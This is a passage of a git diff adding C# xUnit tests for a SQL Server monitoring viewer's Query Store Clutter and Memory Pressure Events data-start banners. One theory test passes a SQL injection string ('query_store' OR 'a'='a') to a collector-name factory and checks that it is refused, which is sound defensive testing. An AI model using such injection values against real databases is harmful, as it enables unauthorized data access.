+        var load = MethodBody(ViewerFile("ViewerServerTab.QueryStoreClutter.cs"), @"private async Task LoadQueryStoreClutterAsync\(");
+
+        Assert.Equal(1, Matches(load, @"using var readFanOut = ViewerReadFanOut\.Of\(2\);"));
+        var declared = load.IndexOf("ViewerReadFanOut.Of(2)", StringComparison.Ordinal);
+        Assert.True(
+            declared < load.IndexOf("GetQueryStoreClutterDataStartAsync", StringComparison.Ordinal) && declared < load.IndexOf("var readTask", StringComparison.Ordinal),
+            "the width is declared before the probe and the read start, so both take it");
+        Assert.Equal(1, Matches(load, @"readFanOut\.Release\(\);"));
+        var release = load.IndexOf("readFanOut.Release()", StringComparison.Ordinal);
+        Assert.True(
+            load.IndexOf("await AwaitReadWatchingProbeAsync", StringComparison.Ordinal) < release
+            && release < load.IndexOf("await ShowQueryStoreClutterDataStartAsync", StringComparison.Ordinal),
+            "the width ends when the read is done, before the banner step awaits the probe");
+
+        /* The premise: nothing above the load declares a width, so this is the one the panel's reads are priced by. */
+        Assert.DoesNotContain("ViewerReadFanOut", MethodBody(ViewerFile("ViewerServerTab.xaml.cs"), @"private async Task LoadInnerTabAsync\("), StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheClutterStep_RaisesTheBanner_ThroughTheSharedStep_AndTheFailureGuard()
+    {
+        var queries = ViewerFile("ViewerServerTab.QueryStoreClutter.cs");
+        var step = Regex.Match(queries, @"internal static async Task ShowQueryStoreClutterDataStartAsync\(.*?;\r?\n", RegexOptions.Singleline).Value;
+
+        Assert.NotEmpty(step);
+        Assert.Matches(@"UpdateTruncationBanner\(\s*banner,\s*await DataStartOrNullAsync\(probe,\s*""Query Store Clutter""\),\s*startUtc\);", step);
+    }
+
+    [Fact]
+    public void EveryTabRead_OfTheClutterPanel_HasItsProbe()
+    {
+        var tabs = AllTabFiles();
+
+        Assert.Equal(1, Matches(tabs, @"_dataService\.GetQueryStoreClutterAsync\("));
+        Assert.Equal(1, Matches(tabs, @"_dataService\.GetQueryStoreClutterDataStartAsync\("));
+        Assert.Equal(1, Matches(tabs, @"ShowQueryStoreClutterDataStartAsync\(QueryStoreClutterTruncationBanner,"));
+    }
+
+    [Fact]
+    public void TheClutterBanner_SitsAboveTheGrid_InTheExistingStyle()
+    {
+        var xaml = ViewerFile("ViewerServerTab.xaml");
+
+        var banner = Regex.Match(xaml, @"<TextBlock Grid\.Row=""2"" x:Name=""QueryStoreClutterTruncationBanner""[^>]*/>");
+        Assert.True(banner.Success, "QueryStoreClutterTruncationBanner is not declared in ViewerServerTab.xaml, in the row above the grid");
+        Assert.Contains("Visibility=\"Collapsed\"", banner.Value, StringComparison.Ordinal);
+        Assert.Contains("Background=\"#22FFAA00\"", banner.Value, StringComparison.Ordinal);
+        Assert.Matches(@"<DataGrid Grid\.Row=""3"" x:Name=""QueryStoreClutterGrid""", xaml);
+        Assert.Matches(@"<TextBlock Grid\.Row=""4"" x:Name=""QueryStoreClutterRecommendation""", xaml);
+        Assert.Matches(@"<Expander Grid\.Row=""5"" Header=""Query Store overhead \(per server\)""", xaml);
+    }
+
+    // ── Memory Pressure Events ──
+
+    /* The table is indexed on (server_id, sample_time), not on its prefix time column, so the generic factory refuses it, and it must
+       keep refusing: a table the probe cannot read through its index would otherwise be probed on the wrong column. */
+    [Fact]
+    public void TheGenericFactory_StillRefusesMemoryPressureEvents()
+    {
+        Assert.False(DataWindowFloor.Source.TryForCollectorTable("memory_pressure_events", out _));
+        Assert.Throws<ArgumentException>(() => DataWindowFloor.Source.ForCollectorTable("memory_pressure_events"));
+
+        /* The reason, so a changed index is noticed here: the collector stamps its partition column collection_time, and the index
+           the chart's read rides keys on the payload's own sample_time. */
+        var schema = CollectorCatalog.All.Single(c => c.TargetTable == "memory_pressure_events");
+        Assert.Equal("collection_time", schema.PrefixTimeColumnName);
+        Assert.EndsWith("(server_id, sample_time);", PgSchemaGenerator.CreateIndex(schema), StringComparison.Ordinal);
+    }
+
+    /* The table is sparse: a server goes days with no pressure event. Its edge is the purge's cutoff, which only the schedule gives. If
+       the table ever joins one of the two groups that get no schedule edge, the named source would walk to its oldest row, and a quiet
+       start would read as a false note: this fails first, so the factory is revisited. */
+    [Fact]
+    public void MemoryPressureEvents_GetsItsEdgeFromTheSchedule_NotFromItsOldestRow()
+    {
+        Assert.DoesNotContain("memory_pressure_events", TimescaleSupport.RawRelations);
+        Assert.DoesNotContain("memory_pressure_events", DarlingRetentionHorizons.BaselineServingRawCollectors);
+        Assert.True(CollectorScheduleDefaults.All.TryGetValue("memory_pressure_events", out var schedule));
+        Assert.True(schedule!.RetentionDays >= 1);
+    }
+
+    [Fact]
+    public void TheMemoryPressureProbe_GoesThroughTheNamedSource_FromTheWindowsStart()
+    {
+        var source = ViewerFile("ViewerDataService.Memory.cs");
+
+        Assert.Equal(1, Matches(source, @"public Task<DateTime\?> GetMemoryPressureEventsDataStartAsync\(int serverId, DateTime startUtc, DateTime endUtc,"));
+        Assert.Contains("DataWindowFloor.Source.ForMemoryPressureEvents()", source, StringComparison.Ordinal);
+        Assert.Matches(@"DataWindowFloor\.GetForServerAsync\(_dataSource, DataWindowFloor\.Source\.ForMemoryPressureEvents\(\),\s*serverId,\s*startUtc,\s*endUtc,", source);
+    }
+
+    /* The probe starts beside the six reads, inside the declared fan-out width and outside the join (a probe that throws must not cost
+       the chart its rows), and the window the load worked out is the one the read, the probe, the chart's axis and the banner use. */
+    [Fact]
+    public void TheMemoryLoad_StartsItsProbeBesideTheReads_WithTheSameStart_AndNeverJoinsIt()
+    {
+        var load = MethodBody(ViewerFile("ViewerServerTab.Memory.cs"), @"private async Task LoadMemoryAsync\(");
+
+        Assert.Equal(1, Matches(load, @"var \(startUtc, endUtc\) = GetWindowUtc\(\);"));
+        Assert.Equal(1, Matches(load, @"using var readFanOut = ViewerReadFanOut\.Of\(7\);"));
+        Assert.Equal(1, Matches(load, @"var pressureDataStartTask = _dataService\.GetMemoryPressureEventsDataStartAsync\(_server\.ServerId,\s*startUtc,\s*endUtc\);"));
+        Assert.Equal(1, Matches(load, @"var pressureTask = _dataService\.GetMemoryPressureEventsAsync\(_server\.ServerId,\s*startUtc,\s*endUtc\);"));
+        Assert.DoesNotMatch(@"Task\.WhenAll\([^)]*pressureDataStartTask", load);
+        Assert.Equal(1, Matches(load, @"RenderMemoryPressureEventsChart\(pressureTask\.Result,\s*startUtc,\s*endUtc\);"));
+        Assert.Equal(1, Matches(load,
+            @"await ShowMemoryPressureEventsDataStartAsync\(MemoryPressureEventsTruncationBanner,\s*pressureDataStartTask,\s*startUtc,\s*pressureTask\.Result\);"));
+
+        /* #5022: the six reads are awaited through the helper that watches the probe when the join throws, so a probe that fails after
+           the reads did is logged as a warning and not left unobserved. */
+        Assert.Equal(1, Matches(load,
+            @"await AwaitReadWatchingProbeAsync\(\s*Task\.WhenAll\(latestTask,\s*trendTask,\s*grantTrendTask,\s*clerkTypesTask,\s*grantChartTask,\s*pressureTask\),\s*pressureDataStartTask,\s*""Memory Pressure Events""\);"));
+        Assert.DoesNotContain("await Task.WhenAll(", load, StringComparison.Ordinal);
+    }
+
+    /* The chart no longer asks for a window of its own: a second GetWindowUtc() moves a relative range's start by the time the reads
+       took, and the banner would be compared with a start the read never used. */
+    [Fact]
+    public void TheMemoryPressureChart_TakesTheLoadsWindow_AndWorksOutNoneOfItsOwn()
+    {
+        var render = MethodBody(ViewerFile("ViewerServerTab.Memory.cs"), @"private void RenderMemoryPressureEventsChart\(");
+
+        Assert.Matches(@"private void RenderMemoryPressureEventsChart\(List<MemoryPressureEventRow> data, DateTime startUtc, DateTime endUtc\)", render);
+        Assert.DoesNotContain("GetWindowUtc()", render, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void EveryTabRead_OfTheMemoryPressureChart_HasItsProbe()
+    {
+        var tabs = AllTabFiles();
+
+        Assert.Equal(1, Matches(tabs, @"_dataService\.GetMemoryPressureEventsAsync\("));
+        Assert.Equal(1, Matches(tabs, @"_dataService\.GetMemoryPressureEventsDataStartAsync\("));
+        Assert.Equal(1, Matches(tabs, @"ShowMemoryPressureEventsDataStartAsync\(MemoryPressureEventsTruncationBanner,"));
+    }
+
+    [Fact]
+    public void TheMemoryPressureBanner_SitsAboveTheChart_InTheExistingStyle()
+    {
+        var xaml = ViewerFile("ViewerServerTab.xaml");
+
+        var banner = Regex.Match(xaml, @"<TextBlock Grid\.Row=""0"" x:Name=""MemoryPressureEventsTruncationBanner""[^>]*/>");
+        Assert.True(banner.Success, "MemoryPressureEventsTruncationBanner is not declared in ViewerServerTab.xaml, in the row above the chart");
+        Assert.Contains("Visibility=\"Collapsed\"", banner.Value, StringComparison.Ordinal);
+        Assert.Contains("Background=\"#22FFAA00\"", banner.Value, StringComparison.Ordinal);
+        Assert.Matches(@"<scottplot:WpfPlot Grid\.Row=""1"" x:Name=""MemoryPressureEventsChart""", xaml);
+        Assert.Matches(@"<TextBlock Grid\.Row=""1"" x:Name=""MemoryPressureEventsNoDataMessage""", xaml);
+    }
+}
diff --git a/Darling/Darling.Tests/ViewerClutterAndMemoryPressureDataStartTests.cs b/Darling/Darling.Tests/ViewerClutterAndMemoryPressureDataStartTests.cs
new file mode 100644
index 0000000000..10ffd6207b
--- /dev/null
+++ b/Darling/Darling.Tests/ViewerClutterAndMemoryPressureDataStartTests.cs
@@ -0,0 +1,414 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Threading;
+using System.Threading.Tasks;
+using System.Windows;
+using System.Windows.Controls;
+using Npgsql;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Darling.Storage;
+using PerformanceMonitor.Darling.Viewer;
+using PerformanceMonitor.Ui;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// What the Query Store Clutter panel and the Memory Pressure Events chart of the desktop viewer say about where their data starts
+/// (#4966). The panel's read cost and plan churn are aggregates over the window, so the coverage rule applies: a range that reaches
+/// before the server's coverage names where it starts, and a covered range with a quiet start names nothing. The chart filters on
+/// each event's own time, so the event-time rule applies too: the note names the earlier of the coverage and the earliest event the
+/// chart draws. A window of an hour or less starts no probe, and a probe that fails costs the note and nothing else.
+/// </summary>
+/* The banner's time text reads the process-wide display mode, which these tests set (restored in Dispose); one shared
+   collection serializes it with every other class that flips the viewer's time statics. */
+[Collection("viewer-time-statics")]
+public sealed class ViewerClutterAndMemoryPressureDataStartTests : IDisposable
+{
+    private readonly TimeDisplayMode _savedMode = ViewerTimeHelper.CurrentDisplayMode;
+
+    public void Dispose() => ViewerTimeHelper.CurrentDisplayMode = _savedMode;
+
+    private static readonly DateTime RangeStart = new(2026, 9, 10, 0, 0, 0, DateTimeKind.Utc);
+
+    /* A store nothing listens on: a probe that starts a query against it fails, one that does not returns at once. */
+    private const string UnreachableStore = "Host=127.0.0.1;Port=1;Username=nobody;Database=nothing;Timeout=3;Pooling=false";
+
+    private static DateTime At(int days, int hours = 0, int minutes = 0) => RangeStart.AddDays(days).AddHours(hours).AddMinutes(minutes);
+
+    // ── Query Store Clutter ──
+
+    /* The banner the tab's own step (ShowQueryStoreClutterDataStartAsync) raises for the probe's answer on the range that starts at
+       RangeStart, read off the control; null when it is hidden. Seeded visible, so a no-op cannot pass as a hidden banner. */
+    private static string? ClutterBannerFor(Task<DateTime?> probe) =>
+        ReadBanner(banner => ViewerServerTab.ShowQueryStoreClutterDataStartAsync(banner, probe, RangeStart).GetAwaiter().GetResult());
+
+    /* A server added 2 days before the range's end: the range reaches before its coverage, and the note says where the data starts. */
+    [Fact]
+    public void Clutter_ARangePastTheCoverage_NamesWhereTheCoverageStarts()
+    {
+        Assert.Equal("Showing since 2026-09-14 06:30:15", ClutterBannerFor(Task.FromResult<DateTime?>(At(4, 6, 30).AddSeconds(15))));
+    }
+
+    /* A quiet start: the store covered the whole range (coverage 20 days before it), so no note, whenever the first row came. A probe
+       with no answer (the window holds no row and no logged run) names nothing either. */
+    [Fact]
+    public void Clutter_AQuietStart_RaisesNoNotice()
+    {
+        Assert.Null(ClutterBannerFor(Task.FromResult<DateTime?>(At(-20))));
+        Assert.Null(ClutterBannerFor(Task.FromResult<DateTime?>(null)));
+        /* A first collection that lands inside the slack after the window starts is absorbed. */
+        Assert.Null(ClutterBannerFor(Task.FromResult<DateTime?>(At(0, 1, 20))));
+    }
+
+    /* A probe that throws costs this note and nothing else: the step answers a hidden banner (seeded visible) instead of throwing. */
+    [Fact]
+    public void Clutter_AProbeThatThrows_HidesTheBanner_InsteadOfThrowing()
+    {
+        Assert.Null(ClutterBannerFor(Task.FromException<DateTime?>(new InvalidOperationException("the store went away"))));
+    }
+
+    /* The panel draws from two ranged sources, the plan churn from query_store_stats and the read cost from the collection log, so the note
+       names the LATER of their two starts: the banner the tab's step raises for the choice between the two answers, on the range that starts
+       at RangeStart. */
+    private static string? ClutterBannerForStarts(DateTime? planChurnStart, DateTime? readCostStart) =>
+        ClutterBannerFor(ViewerDataService.LaterStartAsync(() => Task.FromResult(planChurnStart), () => Task.FromResult(readCostStart)));
+
+    [Fact]
+    public void Clutter_TheStatsTableStartingAfterTheLog_NamesTheStatsStart()
+    {
+        Assert.Equal("Showing since 2026-09-14 00:00:00", ClutterBannerForStarts(At(4), At(2)));
+    }
+
+    [Fact]
+    public void Clutter_TheLogStartingAfterTheStatsTable_NamesTheLogStart()
+    {
+        Assert.Equal("Showing since 2026-09-14 00:00:00", ClutterBannerForStarts(At(2), At(4)));
+    }
+
+    /* Both sources cover the range, whenever each one's first row came: no note. A start inside the slack after the window starts is
+       absorbed, in either source. */
+    [Fact]
+    public void Clutter_BothSourcesCoveringTheRange_RaiseNoNotice()
+    {
+        Assert.Null(ClutterBannerForStarts(At(-20), At(-3)));
+        Assert.Null(ClutterBannerForStarts(At(-5), At(0, 1, 20)));
+        Assert.Null(ClutterBannerForStarts(At(0, 1, 20), At(-5)));
+    }
+
+    /* A source that comes back alone is named, and neither names nothing. */
+    [Fact]
+    public void Clutter_OneSourceAnsweringAlone_IsNamed_AndNeitherNamesNothing()
+    {
+        Assert.Equal("Showing since 2026-09-12 00:00:00", ClutterBannerForStarts(At(2), null));
+        Assert.Equal("Showing since 2026-09-12 00:00:00", ClutterBannerForStarts(null, At(2)));
+        Assert.Null(ClutterBannerForStarts(null, null));
+    }
+
+    /* One probe that throws costs the note, whichever source it is: the other would name a start by itself, and the step answers a hidden
+       banner (seeded visible) instead of throwing. A first probe that failed starts no second. */
+    [Fact]
+    public async Task Clutter_OneProbeThatThrows_HidesTheBanner_WhicheverSourceItIs()
+    {
+        var gone = new InvalidOperationException("the store went away");
+
+        Assert.Null(ClutterBannerFor(ViewerDataService.LaterStartAsync(() => Task.FromResult<DateTime?>(At(4)), () => Task.FromException<DateTime?>(gone))));
+        Assert.Null(ClutterBannerFor(ViewerDataService.LaterStartAsync(() => Task.FromException<DateTime?>(gone), () => Task.FromResult<DateTime?>(At(4)))));
+
+        var secondStarted = false;
+        await Assert.ThrowsAsync<InvalidOperationException>(() => ViewerDataService.LaterStartAsync(
+            () => Task.FromException<DateTime?>(gone),
+            () =>
+            {
+                secondStarted = true;
+                return Task.FromResult<DateTime?>(At(4));
+            }));
+        Assert.False(secondStarted);
+    }
+
+    /* A window of an hour or less starts no probe: it returns at once against a store nothing listens on, and a window one minute
+       over the 90-minute slack starts the query, which fails there. */
+    [Theory]
+    [InlineData(60)]
+    [InlineData(90)]
+    public async Task Clutter_AWindowNoLongerThanTheSlack_MakesNoProbeCall(int minutes)
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var viewer = new ViewerDataService(UnreachableStore);
+
+        Assert.Null(await viewer.GetQueryStoreClutterDataStartAsync(1, RangeStart, RangeStart.AddMinutes(minutes), ct));
+    }
+
+    [Fact]
+    public async Task Clutter_AWindowOneMinuteOverTheSlack_StartsItsProbe()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var viewer = new ViewerDataService(UnreachableStore);
+
+        await Assert.ThrowsAnyAsync<Exception>(() => viewer.GetQueryStoreClutterDataStartAsync(1, RangeStart, RangeStart.AddMinutes(91), ct));
+    }
+
+    // ── Memory Pressure Events ──
+
+    private static MemoryPressureEventRow Event(DateTime sampleTimeUtc, int process = 2, int system = 0) => new(sampleTimeUtc, "RESOURCE_MEMPHYSICAL_LOW", process, system);
+
+    /* The banner the tab's own step (ShowMemoryPressureEventsDataStartAsync) raises for the probe's answer and the events the read
+       returned, on the range that starts at RangeStart; null when it is hidden. */
+    private static string? MemoryBannerFor(Task<DateTime?> probe, params MemoryPressureEventRow[] rows) =>
+        ReadBanner(banner => ViewerServerTab.ShowMemoryPressureEventsDataStartAsync(banner, probe, RangeStart, rows).GetAwaiter().GetResult());
+
+    private static Task<DateTime?> Answer(DateTime? coverageStartUtc) => Task.FromResult(coverageStartUtc);
+
+    /* Events start inside the range, after the coverage began: the note reads back the coverage start. */
+    [Fact]
+    public void Memory_ARangePastTheCoverage_NamesWhereTheCoverageStarts()
+    {
+        Assert.Equal("Showing since 2026-09-13 00:00:00", MemoryBannerFor(Answer(At(3)), Event(At(3, 4)), Event(At(5))));
+    }
+
+    /* A quiet start: the store covered the whole range (coverage 20 days before it) and the first event came 5 hours in. The chart
+       draws nothing before it, and the note stays down. */
+    [Fact]
+    public void Memory_AQuietStart_RaisesNoNotice()
+    {
+        Assert.Null(MemoryBannerFor(Answer(At(-20)), Event(At(0, 5)), Event(At(2))));
+        Assert.Null(MemoryBannerFor(Answer(At(-20))));
+    }
+
+    /* An event carries its own time, and a server's first collection stores the ring buffer's history, so the chart can draw an event
+       from before the coverage the probe found: the note names that event, never a time later than a bar on the chart. */
+    [Fact]
+    public void Memory_AnEventStampedBeforeTheServersFirstCollection_IsTheTimeNamed()
+    {
+        Assert.Equal("Showing since 2026-09-12 18:20:05", MemoryBannerFor(Answer(At(3)), Event(At(2, 18, 20).AddSeconds(5)), Event(At(3, 4))));
+        /* The same event under a range that ends before the coverage began (no answer): the chart still draws it. */
+        Assert.Equal("Showing since 2026-09-12 18:20:05", MemoryBannerFor(Answer(null), Event(At(2, 18, 20).AddSeconds(5))));
+    }
+
+    /* A sample the chart does not draw (both indicators under 2) is not an event: it names no time. */
+    [Fact]
+    public void Memory_ASampleTheChartDoesNotDraw_NamesNoTime()
+    {
+        var rows = new[] { Event(At(-1, 12), process: 1, system: 0), Event(At(0, 3), process: 0, system: 1), Event(At(4), process: 2, system: 0) };
+
+        Assert.Equal(new[] { At(4) }, ViewerServerTab.PressureRowsDrawn(rows).Select(r => r.SampleTime).ToArray());
+        /* Coverage starts 3 days in; the undrawn samples came before it and are not named. */
+        Assert.Equal("Showing since 2026-09-13 00:00:00", MemoryBannerFor(Answer(At(3)), rows));
+        /* A system indicator alone draws the event. */
+        Assert.Equal("Showing since 2026-09-11 08:00:00", MemoryBannerFor(Answer(At(3)), Event(At(1, 8), process: 0, system: 2)));
+    }
+
+    /* A probe that throws costs the note and not the chart: the step answers a hidden banner instead of throwing, and the rows the
+       chart draws are unchanged by it. A failed probe names nothing, and the chart's own first event does not stand in for coverage. */
+    [Fact]
+    public void Memory_AProbeThatThrows_HidesTheBanner_AndTheRowsStillDraw()
+    {
+        var rows = new[] { Event(At(2)), Event(At(3)) };
+
+        Assert.Null(MemoryBannerFor(Task.FromException<DateTime?>(new InvalidOperationException("the store went away")), rows));
+        Assert.Equal(2, ViewerServerTab.PressureRowsDrawn(rows).Count);
+    }
+
+    /* A window of an hour or less starts no probe, and one minute over the slack starts it. */
+    [Theory]
+    [InlineData(60)]
+    [InlineData(90)]
+    public async Task Memory_AWindowNoLongerThanTheSlack_MakesNoProbeCall(int minutes)
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var viewer = new ViewerDataService(UnreachableStore);
+
+        Assert.Null(await viewer.GetMemoryPressureEventsDataStartAsync(1, RangeStart, RangeStart.AddMinutes(minutes), ct));
+    }
+
+    [Fact]
+    public async Task Memory_AWindowOneMinuteOverTheSlack_StartsItsProbe()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var viewer = new ViewerDataService(UnreachableStore);
+
+        await Assert.ThrowsAnyAsync<Exception>(() => viewer.GetMemoryPressureEventsDataStartAsync(1, RangeStart, RangeStart.AddMinutes(91), ct));
+    }
+
+    // ── The named source ──
+
+    /* The source probes the payload's own stamp, over the collector's schedule edge, and never walks to the table's oldest row: the
+       table is sparse, and a walk would turn a quiet start into a false note. */
+    [Fact]
+    public void TheNamedSource_ProbesSampleTime_OverTheSchedulesEdge()
+    {
+        var source = DataWindowFloor.Source.ForMemoryPressureEvents();
+
+        Assert.Equal("memory_pressure_events", source.Relation);
+        Assert.Equal("sample_time", source.TimeColumn);
+        Assert.Equal("memory_pressure_events", source.CollectorName);
+        Assert.False(source.EndExclusive);
+        Assert.Null(source.LowerBoundUtc);
+        Assert.Equal(CollectorScheduleDefaults.All["memory_pressure_events"].RetentionDays, source.RetentionDefaultDays);
+
+        var sql = DataWindowFloor.FloorSql([source], DataWindowFloor.Scope.ServerId);
+        Assert.Contains("FROM collect.memory_pressure_events AS f", sql, StringComparison.Ordinal);
+        Assert.Contains("f.sample_time >= $2", sql, StringComparison.Ordinal);
+        Assert.Contains("GREATEST($3 - make_interval(days =>", sql, StringComparison.Ordinal);
+        Assert.Contains("lower(o.collector_name) = 'memory_pressure_events'", sql, StringComparison.Ordinal);
+        Assert.Contains("c.collector_name = 'memory_pressure_events'", sql, StringComparison.Ordinal);
+        Assert.DoesNotContain("AS h WHERE", sql, StringComparison.Ordinal);
+
+        /* #5022: the probe asks only for the first event stamped INSIDE the window (its edge is the schedule's, never a walk to older
+           rows), so its read pairs sample_time with the collection_time floor the chart's own read binds (EventWindowFloor.For($2)):
+           the table is partitioned on collection_time, and a bound on sample_time alone skips no chunk. */
+        Assert.True(source.PairsCollectionTime);
+        Assert.Equal(86400, (int)EventWindowFloor.SkewAllowance.TotalSeconds);
+        Assert.Contains("AND   f.collection_time >= $2 - make_interval(secs => 86400)\n", sql, StringComparison.Ordinal);
+        Assert.True(
+            sql.IndexOf("f.sample_time >= $2", StringComparison.Ordinal) < sql.IndexOf("f.collection_time >= $2 - make_interval(secs => 86400)", StringComparison.Ordinal),
+            "the floor sits beside the window's bounds in the lateral, not in the count");
+        Assert.True(
+            sql.IndexOf("f.collection_time >= $2 - make_interval(secs => 86400)", StringComparison.Ordinal) < sql.IndexOf("ORDER BY f.sample_time", StringComparison.Ordinal),
+            "the floor bounds the lateral's read");
+
+        /* No other source takes the pairing: a table whose own time column IS its partition column has nothing to pair. */
+        foreach (var other in new[]
+        {
+            DataWindowFloor.Source.ForCollectorTable("waiting_tasks"),
+            DataWindowFloor.Source.ForCollectionLog(),
+            DataWindowFloor.Source.ForCollectorRuns(DarlingQueryStoreClutterReader.CollectorName),
+        })
+        {
+            Assert.False(other.PairsCollectionTime);
+            Assert.DoesNotContain("make_interval(secs =>", DataWindowFloor.FloorSql([other], DataWindowFloor.Scope.ServerId), StringComparison.Ordinal);
+        }
+    }
+
+    // ── The read cost's source ──
+
+    /* #5022: the read cost is the query_store collector's runs in the collection log, so the source counts those and no other
+       collector's. The unscoped log (the Collection Log grid and drill want every collector) keeps its SQL, with no collector filter. */
+    [Fact]
+    public void TheReadCostSource_CountsOnlyTheQueryStoreCollectorsRuns_AndTheWholeLogStaysWhole()
+    {
+        var scoped = DataWindowFloor.Source.ForCollectorRuns(DarlingQueryStoreClutterReader.CollectorName);
+        var whole = DataWindowFloor.Source.ForCollectionLog();
+
+        Assert.Equal("collection_log", scoped.Relation);
+        Assert.Equal("collection_time", scoped.TimeColumn);
+        Assert.Equal(DarlingQueryStoreClutterReader.CollectorName, scoped.LogCollectorName);
+        /* The name the clutter reader binds is the name the catalog gives the table the panel's plan churn reads. */
+        Assert.Equal(DataWindowFloor.Source.ForCollectorTable("query_store_stats").CollectorName, scoped.LogCollectorName, StringComparer.OrdinalIgnoreCase);
+        /* The log's own horizon and edge, the same as the whole log's: no schedule row is asked, and no logged-run count rides along. */
+        Assert.Null(scoped.CollectorName);
+        Assert.Equal(DarlingRetentionHorizons.CollectionLogRetentionDays, scoped.RetentionDefaultDays);
+        Assert.Null(whole.LogCollectorName);
+
+        var scopedSql = DataWindowFloor.FloorSql([scoped], DataWindowFloor.Scope.ServerId);
+        var wholeSql = DataWindowFloor.FloorSql([whole], DataWindowFloor.Scope.ServerId);
+
+        Assert.Contains("FROM collect.collection_log AS f", scopedSql, StringComparison.Ordinal);
+        Assert.Contains("AND   f.collector_name = 'query_store'\n", scopedSql, StringComparison.Ordinal);
+        Assert.True(
+            scopedSql.IndexOf("f.collector_name = 'query_store'", StringComparison.Ordinal) < scopedSql.IndexOf("ORDER BY f.collection_time", StringComparison.Ordinal),
+            "the collector filter bounds the lateral's read, so a server counts only by that collector's runs");
+        Assert.Contains($"GREATEST($3 - make_interval(days => {DarlingRetentionHorizons.CollectionLogRetentionDays}), s.created_date)", scopedSql, StringComparison.Ordinal);
+        Assert.Contains("WHERE (w.t IS NOT NULL)", scopedSql, StringComparison.Ordinal);
+        Assert.DoesNotContain("OR EXISTS", scopedSql, StringComparison.Ordinal);
+        Assert.DoesNotContain("config_collector_schedules", scopedSql, StringComparison.Ordinal);
+
+        Assert.DoesNotContain("collector_name", wholeSql, StringComparison.Ordinal);
+    }
+
+    /* The name is spliced into the probe's SQL, so only a collector the catalog lists is taken, in any case, and the SQL carries the
+       lower-case name the log stores. */
+    [Theory]
+    [InlineData("query_store' OR 'a'='a")]
+    [InlineData("collection_log")]
+    [InlineData("")]
+    public void TheCollectorRunsSource_RefusesAnythingTheCatalogDoesNotList(string name)
+    {
+        Assert.Throws<ArgumentException>(() => DataWindowFloor.Source.ForCollectorRuns(name));
+    }
+
+    [Fact]
+    public void TheCollectorRunsSource_TakesTheCatalogsNameInAnyCase()
+    {
+        var source = DataWindowFloor.Source.ForCollectorRuns("Query_Store");
+
+        Assert.Equal("query_store", source.LogCollectorName);
+    }
+
+    // ── A probe nobody awaits ──
+
+    /* #5022: a load starts its probe beside its read, and awaits the probe only at the banner step. A read that throws skips that step,
+       so a probe that fails LATER would reach App.OnUnobservedTaskException as an Error line. The helper the two loads await their
+       read through hands the probe to DataStartAnswerAsync when the read throws: the probe's failure is a warning, and the read's own
+       exception goes on. */
+    [Fact]
+    public async Task AReadThatThrows_StillWatchesItsProbe_SoALaterProbeFailureIsAWarning()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        var probe = new TaskCompletionSource<DateTime?>(TaskCreationOptions.RunContinuationsAsynchronously);
+        var warned = new TaskCompletionSource<(string Source, string Message)>(TaskCreationOptions.RunContinuationsAsynchronously);
+        var readFailure = new InvalidOperationException("the read failed");
+
+        var thrown = await Assert.ThrowsAsync<InvalidOperationException>(() => ViewerServerTab.AwaitReadWatchingProbeAsync(
+            Task.FromException(readFailure), probe.Task, "Query Store Clutter", (source, message) => warned.TrySetResult((source, message))));
+
+        Assert.Same(readFailure, thrown);
+        Assert.False(warned.Task.IsCompleted, "the probe has not failed yet");
+
+        probe.SetException(new InvalidOperationException("the probe failed after the read"));
+
+        var (logSource, logMessage) = await warned.Task.WaitAsync(TimeSpan.FromSeconds(5), ct);
+        Assert.Equal("ViewerServerTab", logSource);
+        Assert.Contains("Query Store Clutter", logMessage, StringComparison.Ordinal);
+        Assert.Contains("the probe failed after the read", logMessage, StringComparison.Ordinal);
+    }
+
+    /* A read that succeeds returns at once, with the probe still running and untouched: the banner step awaits it. A join of several
+       reads (the Memory load's) that fails on any one of them is the same read that threw. */
+    [Fact]
+    public async Task AReadThatSucceeds_LeavesTheProbeToTheBannerStep_AndAJoinThatFailsIsAReadThatThrew()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        var pending = new TaskCompletionSource<DateTime?>(TaskCreationOptions.RunContinuationsAsynchronously);
+
+        await ViewerServerTab.AwaitReadWatchingProbeAsync(
+            Task.CompletedTask, pending.Task, "Memory Pressure Events", (_, _) => throw new InvalidOperationException("a read that succeeded must not warn"));
+        Assert.False(pending.Task.IsCompleted);
+
+        var warned = new TaskCompletionSource<string>(TaskCreationOptions.RunContinuationsAsynchronously);
+        var failing = new InvalidOperationException("one of the six reads failed");
+        await Assert.ThrowsAsync<InvalidOperationException>(() => ViewerServerTab.AwaitReadWatchingProbeAsync(
+            Task.WhenAll(Task.CompletedTask, Task.FromException(failing)), pending.Task, "Memory Pressure Events", (_, message) => warned.TrySetResult(message)));
+        pending.SetException(new InvalidOperationException("late probe failure"));
+
+        Assert.Contains("Memory Pressure Events", await warned.Task.WaitAsync(TimeSpan.FromSeconds(5), ct), StringComparison.Ordinal);
+    }
+
+    // ── The banner, read off the real control ──
+
+    private static string? ReadBanner(Action<TextBlock> raise)
+    {
+        string? text = null;
+        StaTestThread.Run(() =>
+        {
+            ViewerTimeHelper.CurrentDisplayMode = TimeDisplayMode.UTC;
+            var banner = new TextBlock { Visibility = Visibility.Visible, Text = "stale" };
+
+            raise(banner);
+
+            text = banner.Visibility == Visibility.Visible ? banner.Text : null;
+        });
+        return text;
+    }
+
+    /* WPF objects require STA; same shape as ViewerQueryHeatmapDataStartTests. */
+}
diff --git a/Darling/Darling.Tests/ViewerCollectionHealthLoadTests.cs b/Darling/Darling.Tests/ViewerCollectionHealthLoadTests.cs
new file mode 100644
index 0000000000..87ba94bc73
--- /dev/null
+++ b/Darling/Darling.Tests/ViewerCollectionHealthLoadTests.cs
@@ -0,0 +1,191 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
